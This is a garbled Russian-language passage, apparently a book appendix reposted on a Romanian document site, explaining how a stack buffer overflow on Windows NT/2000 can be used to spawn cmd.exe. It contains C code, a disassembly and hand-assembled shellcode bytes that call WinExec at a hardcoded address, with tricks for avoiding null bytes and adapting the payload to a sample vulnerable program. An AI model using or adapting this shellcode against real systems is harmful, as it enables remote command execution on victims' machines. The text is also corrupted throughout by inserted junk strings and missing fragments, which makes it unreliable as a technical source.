Documente online.
Zona de administrare documente. Fisierele tale
Am uitat parola x Creaza cont nou
 HomeExploreaza
upload
Upload




Дополнение. Использование срыва стека для запуска командного интерпретатора под Windows NT

Rusa


Windows NT



Получ 444r171e ив возможность выполнения своего кода на удаленной машине, злоумышленник, как правило, стремится запустить командный интерпретатор, или пытается вызвать системные функции для повышения своего статуса или регистрации нового пользователя в системе. Модификация же кода уязвимой программы (примеры которой приведены в главе «Технология срыва стека») не всегда позволяет атакующему получ 444r171e ить желаемый результат.

UNIX INT 0x LINUX) в системах совместимых с System V x0 :0x00000000 exec fork ( UNIX - Shell)

Windows NT INT 0x2F ZwCreateProcess NtCreateProcess (EAX=0x29, INT 0x2Fh) CreateProcessA (CreateProcessW) KERNEL32.DLL,

INT 0x2F DLL LoadLibray, а затем получ 444r171e ают адрес требуемой функции с помощью GetProcAddress

UINT (__stdcall *x) (LPCSTR lpCmdLine, UINT uCmdShow);

x= (UINT (__stdcall *)(LPCSTR lpCmdLine, UINT uCmdShow))

(GetProcAddress(LoadLibrary("KERNEL32.DLL"),"WinExec"));

x("cmd.exe",SW_SHOW);

"WinExec" "CreateProcess" CreateProcess WinExec

.text:00401000 55 push ebp

.text:00401001 8B EC mov ebp, esp

.text:00401003 51 push ecx

.text:00401004 68 30 50 40 00 push 405030h

.text:00401009 68 38 50 40 00 push offset aKernel32_dll ; "KERNEL32.DLL"

.text:0040100E FF 15 04 40 40 00 call ds:LoadLibraryA

.text:00401014 50 push eax

.text:00401015 FF 15 48 40 40 00 call ds:GetProcAddress

.text:0040101B 89 45 FC mov [ebp+var_4], eax

.text:0040101E 6A 05 push 5

.text:00401020 68 48 50 40 00 push offset aCmd_exe ; "cmd.exe"

.text:00401025 FF 55 FC call [ebp+var_4]

.text:00401028 8B E5 mov esp, ebp

.text:0040102A 5D pop ebp

.text:0040102B C3 retn

data:00405030 57 69 6E 45 78 65+aWinexec db 'WinExec',0

data:00405038 4B 45 52 4E 45 4C+aKernel32_dll db 'KERNEL32.DLL',0

data:00405045 00 00 00 align 4

data:00405048 63 6D 64 2E 65 78+aCmd_exe db 'cmd.exe',0

: наличие нулевых символов не позволяет ввести такой код с клавиатуры. Можно конечно, снабдить код расшифровщиком, один из примеров которого приведен в дополнении «Шифровка кода», добившись исчезновения всех нулевых символов во вводимой строке. Но и сам шифровщик потребует какое-то количество памяти, которой может попросту не хватить. Другая трудность заключается в следующем - функции LoadLibrary GetProcAddress NTDLL.DLL, KERNEL32.DLL INT 0x2E KERNEL32.DLL ( GetProcAddress ( GetProcAddress[2])

Windows - подключение необходимых библиотек еще на стадии загрузки файла. Для этого необходимо перечислить все требуемые функции в секции импорта PE- LoadLibrary



Но даже если злоумышленник и получ 444r171e ит доступ к секции импорта (а для этого необходимо иметь право записи в исполняемый и, как правило, исполняющийся в данный момент файл[3]), то он столкнется с проблемой модифицирования готовой секции импорта, что само по себе представляет нетривиальную задачу. Наконец, если добавление новых элементов пройдет успешно, изменения возымеют силу только после последующей загрузки файла.

Windows KERNEL32.DLL KERNERL32.DLL[4] KERNEL32 LoadLibrary

GetProcAddress KERNEL32.DLL GetProcAddress

WinExec dumpbin Windows-

printf("0x%X \n",

GetProcAddress(

LoadLibrary("KERNEL32.DLL"),"WinExec"

)

Windows 2000 ( 0x77E98601, в

push 012345678 ;

push offset cmdLine;

0000000A: B8 01 86 E9 77 mov eax,077E98601 ;"

0000000F: FF D0 call eax

API Windows PASCAL WS_SHOW

ret WinExec WinExec, "SUB ESP,??" "83 EC ??" 0x7F 0x7F "SUB ESP,??"

"ret".

C0  xor eax,eax

00000002: B0 mov al,?? ;"f



00000004: C1 E0 10 shl eax,010 ;

00000007: 66 B8 ?? ?? mov ax,?? ??;

EAX

00000000: FE4007 inc b,[eax][00007]

000000x0: 63 'c'

000000x1: 6D 'm'

000000x2 64 'd'

000000x3: 2E '.'

000000x4: 65 'e'

000000x5 78 'x'

000000x6: 65 'e'

000000x7: FF  '\xFF'

0xFF INC SUB XOR, AND

Объединив все вышесказанное, можно получ 444r171e ить код, который может выглядеть, например, так:

00000000: 83 EC ?? sub esp,??;

00000003: 33 C0 xor eax,eax

00000005: B0 ?? mov al,?? ;

push eax;

00000008: C1 E0 10 shl eax,010 ;

0000000B: 66 B8 ?? ?? mov ax,????;

0000000F: FE 40 07 inc b,[eax][00007];

push eax;

00000013: B8 01 86 E9 77 mov eax,077E98601 ;"

00000018: FF D0 call eax;

0000001A: EB FE jmps 00000001A;

0000001C: 63 'c';

0000001D: 6D 'm';

0000001E: 64 'd';

0000001F: 2E '.';

'e';

'x';

'e';

00000023: FF '\xFF';

Вместо возращения управления основой ветке программы, в коде, приведенном выше, использовано зацикливание. Это не самое луч 444r171e шее решение, однако, чаще всего оно никак не отражается на работоспособности атакуемой программы, (т.е. не вешает ее), поскольку каждый подключившийся к серверу пользователь обычно обрабатывается отдельным потоком. Однако, возможно значительное падение производительности, особенно хорошо заметное на однопроцессорных машинах и правильнее было бы вгонять поток в сон, например, воспользовавшись вызовом WaitForSingleObject. Но в некоторых случ 444r171e аях можно обойтись и без этого[5].

/SRC/buff.cmd.c

#include <stdio.h>

#include <string.h>

auth()

main()

Microsoft Visual Studio  auth ret

ESP x FF C[6] x x x EBP x FF x x FF



EDX strcmp WinExec

00000000: 83 EC 30 sub esp,030;

push edx ;

00000004: B2 6B mov dl,06B ;

00000006: FE 42 07 inc b,[edx][00007] ;

push edx ;

0000000A: B8 01 86 E9 77 mov eax,077E98601 ;

0000000F: FF D0 call eax ;

00000011: EB FE jmps 000000011 ;

'c'

00000014: 6D 'm'

64 'd'

00000016: 2E '.'

'e'

78 'x'

'e'

0000001A: FF '\xFF'

cmd exe" в буфере равно 0x13, следовательно, младший байт регистра EDX x x x B EBP x xFF  x

Alt /SRC/buff.cmd.2000.key

Windows  telnet-сервером, злоумышленник получ 444r171e ает возможность запустить cmd exe Windows NT cmd.exe /k copy xxxx yyyyy

UNIX System V



: ret

она падает, слишком сложная задача для рядового администратора, который просто-напросто перезапустит систему, когда обнаружит что «чего-то стала тормозить».

Windows 2000




Document Info


Accesari: 2291
Apreciat: hand-up

Comenteaza documentul:

Nu esti inregistrat
Trebuie sa fii utilizator inregistrat pentru a putea comenta


Creaza cont nou

A fost util?

Daca documentul a fost util si crezi ca merita
sa adaugi un link catre el la tine in site


in pagina web a site-ului tau.




eCoduri.com - coduri postale, contabile, CAEN sau bancare

Politica de confidentialitate | Termenii si conditii de utilizare




Copyright © Contact (SCRIGROUP Int. 2025 )